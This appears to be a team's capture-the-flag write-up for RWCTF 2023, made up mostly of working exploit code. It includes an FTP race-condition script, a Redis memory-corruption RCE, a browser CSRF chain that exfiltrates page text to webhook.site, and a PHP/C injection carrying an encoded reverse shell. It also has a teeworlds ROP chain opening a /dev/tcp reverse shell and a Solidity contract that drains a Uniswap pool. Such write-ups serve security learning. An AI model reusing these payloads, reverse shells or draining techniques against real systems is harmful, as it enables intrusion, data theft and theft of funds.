# RWCTF 2023 ### chatUWU ### nonheavyftp There is a race condition in the application. When the other thread is wait for connection, we can change the path with the USER command. ```python! from pwn import * p = remote('47.89.253.219',2121); p.send(b'USER anonymous\r\n') p.recvline() p.send(b'PASS df\r\n') p.recvline() p.send(b'EPSV\r\n') p.recvline() prt = int(p.recvline().split(b"|")[3]) #p.send(b'LIST\r\n') p.send(b'RETR hello.txt\r\n') print(p.recvline()) p.send(b'USER //flag.deb10154-8cb2-11ed-be49-0242ac110002\r\n') print(p.recvline()) pp = remote('47.89.253.219',prt) print(pp.recvall()) ``` `rwctf{race-c0nd1tion-1s-real1y_ha4d_pr0blem!!!}` ### hardened redis We basically used [this exploit](https://hackmd.io/@Xion/goq_22s_authors_writeup#J.-Trino:-Mirai). But we had to find a new gadget get get RCE since the one mentioned in the article was not working. ``` mov r8, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, r8; jmp rax; ``` ```python #!/usr/bin/env python3 import socket import ctypes, struct import os, time class FakeRemote: def __init__(self, host, port): self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.s.connect((host, port)) def send(self, data): if isinstance(data, str): data = data.encode('ascii') self.s.send(data) def recv(self, length): data = b'' while len(data) < length: recv = self.s.recv(length - len(data)) if not recv: raise EOFError data += recv return data def recvall(self): data = b'' while True: recv = self.s.recv(0x1000) if not recv: break data += recv return data def recvuntil(self, until, drop=False): data = b'' while not data.endswith(until): recv = self.s.recv(1) if not recv: raise EOFError data += recv return data[:-len(until)] if drop else data def info(self, s): print(f'[*] {s}') def success(self, s): print(f'[+] {s}') def close(self): self.s.close() def query(qs): def _query(q): if isinstance(q, str): q = q.encode('ascii') if isinstance(q, (list, tuple)): p.send(f'*{len(q)}\r\n'.encode('ascii')) for qe in q: _query(qe) else: assert isinstance(q, (bytes, bytearray)) p.send(f'${len(q)}\r\n'.encode('ascii') + q + b'\r\n') def _resp(): first = p.recv(1) if first == b'+': return p.recvuntil(b'\r\n', drop=True) elif first == b'-': err = p.recvuntil(b'\r\n', drop=True) raise RuntimeError(f'Redis returned Error: {err}') elif first == b':': return int(p.recvuntil(b'\r\n', drop=True)) elif first == b'$': length = int(p.recvuntil(b'\r\n', drop=True)) data = p.recv(length) assert p.recv(2) == b'\r\n' return data else: assert first == b'*' length = int(p.recvuntil(b'\r\n', drop=True)) return [_resp() for _ in range(length)] if isinstance(qs, str): qs = qs.encode('ascii') if isinstance(qs, (bytes, bytearray)): p.send(qs + b'\r\n') else: _query(qs) return _resp() def query_addr(obj): return int(query(f'''debug object {obj}''').split()[1][3:], 16) def p64(v, endian='little'): return struct.pack('<Q' if endian=='little' else '>Q', v) def u64(v, endian='little'): return struct.unpack('<Q' if endian=='little' else '>Q', v)[0] time.sleep(0.5) bash_cmd = f'ls > /dev/tcp/165.55.9.4/9000' cmds = [ "echo '#!/bin/bash'>/tmp/a", ] assert all(len(cmd) <= 0x1c for cmd in cmds) cmds = [cmd.ljust(0x1c, '\0') for cmd in cmds] import sys p = FakeRemote('localhost', 6379) assert query('''debug mallctl background_thread 0''') in (0, 1) # 1: first run, 0: following runs for i in range(len(cmds)): assert query(f'''setbit K{i} 400000 0''') == 0 prev = query('''debug mallctl arena.0.extent_hooks''') print(hex(prev)) libcbase = prev - 0x71ca00 print(hex(libcbase)) systetm = libcbase + 0x50d60 print(hex(systetm)) gadget = libcbase + 0x90b95 print('gadget:',hex(gadget)) # 0x90b95 # mov r8, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, r8; jmp rax; query(['set','A',' '*3000+'bash -c "/readflag > /dev/tcp/162.55.9.4/9000"']) v = query_addr('A')-0x759ab cmd_addrs = [] for i in range(len(cmds)): for j in range(0x100): assert query(['set', f'cmd{i}_{j}', (p64(systetm)+p64(v)).ljust(0x1c, b'\0') ]) == b'OK' assert query(['set', f'sys{i}_{j}', p64(0)+p64(gadget)+p64(gadget) ]) # system@libc offset cmd_addr, sys_addr = query_addr(f'cmd{i}_{j}'), query_addr(f'sys{i}_{j}') if sys_addr == cmd_addr + 0x30: break else: assert False cmd_addrs.append(cmd_addr) wow = cmd_addrs[0]+0x13 ########## # input() query(f'''debug mallctl arena.0.extent_hooks {wow}''') query('''memory purge'''+' '*100) ########## exit(0) assert query('flushall sync') == b'OK' assert query('memory purge') == b'OK' p.close() ``` ### cult of 8 bit - Trigger error in xml request - Use cookieStore.delete as jsonp and a file with `_csrf` name - logout the usrf with csrf - login to an accout with a js payload in anchor tag - trigger onclick of the malicous anchor tag with jsonp - ```html= <body> <form method="POST" id=loginFrm action="/api/login"> <input type="text" value="lmao13371337" name="user" /> <input type="password" value="lmao13371337" name="pass" /> </form> <div id="fs"></div> <script> async function delCookies(res){ for(let i=0;i<10;i++){ let f = document.createElement('frame') f.src = delCookiePayload fs.appendChild(f) } setTimeout(()=>{ fs.innerHTML = '' res() },2000) } let target = 'http://localhost:12345' // let cookiePost = 'c09681e3-5ff0-4a42-af78-26bf721f4d03' let cookiePost = 'e0f0c0ec-c1ff-4959-a6b8-00e91e31df16' let delCookiePayload = `${target}/post/?id=${cookiePost}?callback=top.opener.opener.cookieStore.delete%26`+'@'.repeat(11500) let doClick = `${target}/post/?id=${cookiePost}?callback=top.opener.lol.onfocus%26`+'@'.repeat(11500) /* delete _csrf token */ /* logout */ /* open window */ /* delete _csrf token */ /* login with csrf */ let s = location.hash if(s == ''){ window.open('#dd') } else if (s == '#dd') { window.open('#controller') document.location = target } else if (s == '#controller') { window.open('#logout-delete-cookies') } else if(s == '#logout-delete-cookies'){ new Promise(delCookies).then(_=>{ opener.open('#logout-do') setTimeout(()=>window.close(),100) }) } else if(s == '#logout-do'){ opener.open('#login-delete-cookies') setTimeout(()=>document.location = target+'/api/logout',500) } else if(s == '#login-delete-cookies'){ setTimeout(()=>{ new Promise(delCookies).then(_=>{ opener.open('#do-login') setTimeout(()=>window.close(),100) }) },500) } else if(s == '#do-login'){ loginFrm.action = `${target}/api/login` opener.open('#trigger') loginFrm.submit() } else if(s == '#trigger'){ setTimeout(()=>{ window.name = ` fetch("https://webhook.site/xx-db9e-4339-b23e-8109b285c8a9",{ method:"POST", mode:"no-cors", body:opener.opener.document.body.innerText }) ` window.open('#trigger2') document.location = target },500) } else if(s == '#trigger2'){ fetch('https://webhook.site/xx-db9e-4339-b23e-8109b285c8a9') for(let i=0;i<50;i++){ let f = document.createElement('frame') f.src = doClick fs.appendChild(f) } } </script> <img src="https://httpstat.us/200?sleep=20000"> </body> ``` ### astlibra > Bypass addslashes with backslash > The cblocks outside the class were not blocked ( i think author forgot? ). so get rce and then get the flag from mysql! ``` $url = 'http://aaa\\");}}%{ #define getThis getThis2 int getThis2(){ char cmd[] = {47, 98, 105, 110, 47, 98, 97, 115, 104, 32, 45, 99, 32, 34, 47, 98, 105, 110, 47, 98, 97, 115, 104, 32, 45, 108, 32, 62, 32, 47, 100, 101, 118, 47, 116, 99, 112, 47, 49, 46, 49, 46, 49, 46, 49, 47, 57, 48, 48, 48, 32, 60, 38, 49, 32, 50, 62, 38, 49, 34, 32, 38, 0}; system(cmd); } }% function dd(){while(1){var ch;//'; ``` ### tinyvm - we can read write anywhere on the libc - we overwrote libc got addresses randomly and one of them seemed usable - calling printf triggers the jump to our overwritten got address. We saw that the $rdi register points to the stdout buffer address. so we just overwrote the stdout file structure `_IO_read_base`,`_IO_write_base`,`_IO_write_ptr` to an address that contains the `sh\x00` string. ``` start: mov eax, [17332670] mov edx, [17332671] prn 1 mov [17332700],-72537468 mov edi, eax add edi, 0x0170 mov [17332706],edi mov [17332707],edx mov edi, eax add edi, 0x0170 mov [17332708],edi mov [17332709],edx mov edi, eax add edi, 0x0170 mov [17332710],edi mov [17332711],edx mov [17332792],6845216 mov [17332793],6845216 #sub eax, 0x19a1e0 sub eax, 0x1c9a20 mov [17331212],eax mov [17331213],edx prn eax ``` ### teewars We saw that canaries were disabled in the dockerfile so we searched about stack-overflow bugs in github and found [this](https://github.com/teeworlds/teeworlds/issues/2981). The given map worked on the challenge too. So we tried to see what's going on. The given map crashes the binary because of overwriting addresses outside the stack. Then we replaced all 0xffff inside the binary to something smaller and the the binary were not crashing anymore and it was jumping to a random address. We saw that the address was inside the file too so we overwrote some addresses until we figures out the correct offset. We overwrote the correct 8 byte ( return addr ) that was below the stack with 0xdddddddddddddddd and then wrote the rop chain with the following python script. we sent the output map file to the challenge client with `teeworlds_srv` and got the flag . ```python! #!/usr/bin/env python3 from pwn import * f = open('./cp.mp','rb').read() z = f.index(p64(0xdddddddddddddddd)) c = p64(0x43647d) c+= p64(0x553a80)#where c+= p64(0x43faf0) c+= p64(int.from_bytes(b'/bin/sh\x00',byteorder='little'))#what c+= p64(0x4b6d09) c+= p64(0) toWrite = b'/bin/bash -l > /dev/tcp/x.x.x.x/9000 0<&1 2>&1' for i in range(int(len(toWrite)/8)+1): c+= p64(0x43647d) c+= p64(0x553b80+i*8)#where c+= p64(0x43faf0) c+= p64(int.from_bytes(toWrite[i*8:(i*8)+8],byteorder='little'))#what c+= p64(0x4b6d09) c+= p64(0) toWrite = b'-c' for i in range(int(len(toWrite)/8)+1): c+= p64(0x43647d) c+= p64(0x553a00+i*8)#where c+= p64(0x43faf0) c+= p64(int.from_bytes(toWrite[i*8:(i*8)+8],byteorder='little'))#what c+= p64(0x4b6d09) c+= p64(0) toWrite = b'/bin/bash\x00' for i in range(int(len(toWrite)/8)+1): c+= p64(0x43647d) c+= p64(0x553a40+i*8)#where c+= p64(0x43faf0) c+= p64(int.from_bytes(toWrite[i*8:(i*8)+8],byteorder='little'))#what c+= p64(0x4b6d09) c+= p64(0) c+= p64(0x43647d) c+= p64(0x553c80)#where c+= p64(0x43faf0) c+= p64(0x553a40)#what c+= p64(0x4b6d09) c+= p64(0) c+= p64(0x43647d) c+= p64(0x553c80+8)#where c+= p64(0x43faf0) c+= p64(0x553a00)#what c+= p64(0x4b6d09) c+= p64(0) c+= p64(0x43647d) c+= p64(0x553c80+16)#where c+= p64(0x43faf0) c+= p64(0x553b80)#what c+= p64(0x4b6d09) c+= p64(0) c+= p64(0x43647d) c+= p64(0x553c80+16+8)#where c+= p64(0x43faf0) c+= p64(0)#what c+= p64(0x4b6d09) c+= p64(0) c+= p64(0x4326e3) c+= p64(0x553a40)#rdi c+= p64(0x437fcb) c+= p64(0x553c80)#rsi c+= p64(0x4bc1d4) c+= p64(0) c+= p64(0x43faf0) c+= p64(59) c+= p64(0x465f30) f = f[:z]+c+f[z+len(c):] print(z) open('./14.map','wb').write(f) # 0x465f30: syscall; # 0x4326e3: pop rdi; ret; # 0x43faf0: pop rax; ret; # 0x437fcb: pop rsi; ret; # 0x4bc1d4: pop rdx; ret; # 0x4b6d09: mov qword ptr [rbx], rax; pop rbx; ret; # 0x43647d: pop rbx; ret; # write: 0x00000000553a80 ``` ### okproof This challenge is very straightforward - it's easy to see that pi_H <- G1 pi_C <- (t-1)(t-2)(t-3)(t-4) G1 pi_Ca <- a * (t-1)(t-2)(t-3)(t-4) G1 works, and they can be constructed easily from the given data. ```python! from pwn import * from sage.all import * from Crypto.Util.number import long_to_bytes, bytes_to_long conn = remote("47.254.47.63", 13337) # conn.interactive() p = 21888242871839275222246405745257275088696311157297823662689037894645226208583 E = EllipticCurve(GF(p), [0, 3]) G1 = E(1, 2) conn.recvlines(3) cc = conn.recvline() tt = eval(cc) tp = [] tap = [] for i in range(7): tp.append(E(tt[0][i][0], tt[0][i][1])) tap.append(E(tt[1][i][0], tt[1][i][1])) pi_H = G1 pi_C = 24 * tp[0] - 50 * tp[1] + 35 * tp[2] - 10 * tp[3] + tp[4] pi_Ca = 24 * tap[0] - 50 * tap[1] + 35 * tap[2] - 10 * tap[3] + tap[4] ret = "" ret += str(pi_C.xy()[0]) + " " ret += str(pi_C.xy()[1]) + " " ret += str(pi_Ca.xy()[0]) + " " ret += str(pi_Ca.xy()[1]) + " " ret += str(pi_H.xy()[0]) + " " ret += str(pi_H.xy()[1]) print(ret) conn.recvline() # conn.interactive() conn.sendline(ret.encode()) print(conn.recvline()) print(conn.recvline()) print(conn.recvline()) print(conn.recvline()) ``` ### realwrap This is a bug similar to those moonbeam bugs found recently. The added precompiled contracts doesn't care whether the execution was done via delegatecall. Therefore, on the UniswapV2's flashswap callback, we can call the WETH precompile via delegatecall. This forces Uniswap to approve WETH or call a contract, i.e. approve a token. After that, we simply drain the pool via transferFrom(), then Sync(), finishing the challenge. ```javascript async function fun() { console.log(await provider.getNetwork()); stnonce = await provider.getTransactionCount(myAddress); console.log("stnonce:", stnonce); await deployingETHStealer(); await ERC20Transfer(WETH, pair, BigNumber.from(2000)); await Swap(BigNumber.from(0), BigNumber.from(1), STEALER); console.log(await WETHContract.allowance(pair, myAddress)); console.log(await TOKENContract.allowance(pair, myAddress)); let bal1 = await WETHContract.balanceOf(pair); let bal2 = await TOKENContract.balanceOf(pair); console.log(bal1); console.log(bal2); await ERC20TransferFrom(WETH, pair, myAddress, bal1); await ERC20TransferFrom(TOKEN, pair, myAddress, bal2); await Sync(); console.log(await pairContract.getReserves()); } ``` ```solidity contract ETHStealer { address public constant WETH = 0x0000000000000000000000000000000000004eA1; address public constant TOKEN = 0x0C4C77B93E2F3c79b2447339AA09D3f03292A80a; function uniswapV2Call( address sender, uint256 amount0, uint256 amount1, bytes calldata data ) external { address(WETH).delegatecall(abi.encodeWithSelector(IERC20.approve.selector, sender, type(uint256).max)); bytes memory caller = abi.encodeWithSelector(IERC20.approve.selector, sender, type(uint256).max); address(WETH).delegatecall(abi.encodeWithSignature("transferAndCall(address,uint256,bytes)", TOKEN, 0, caller)); } } ```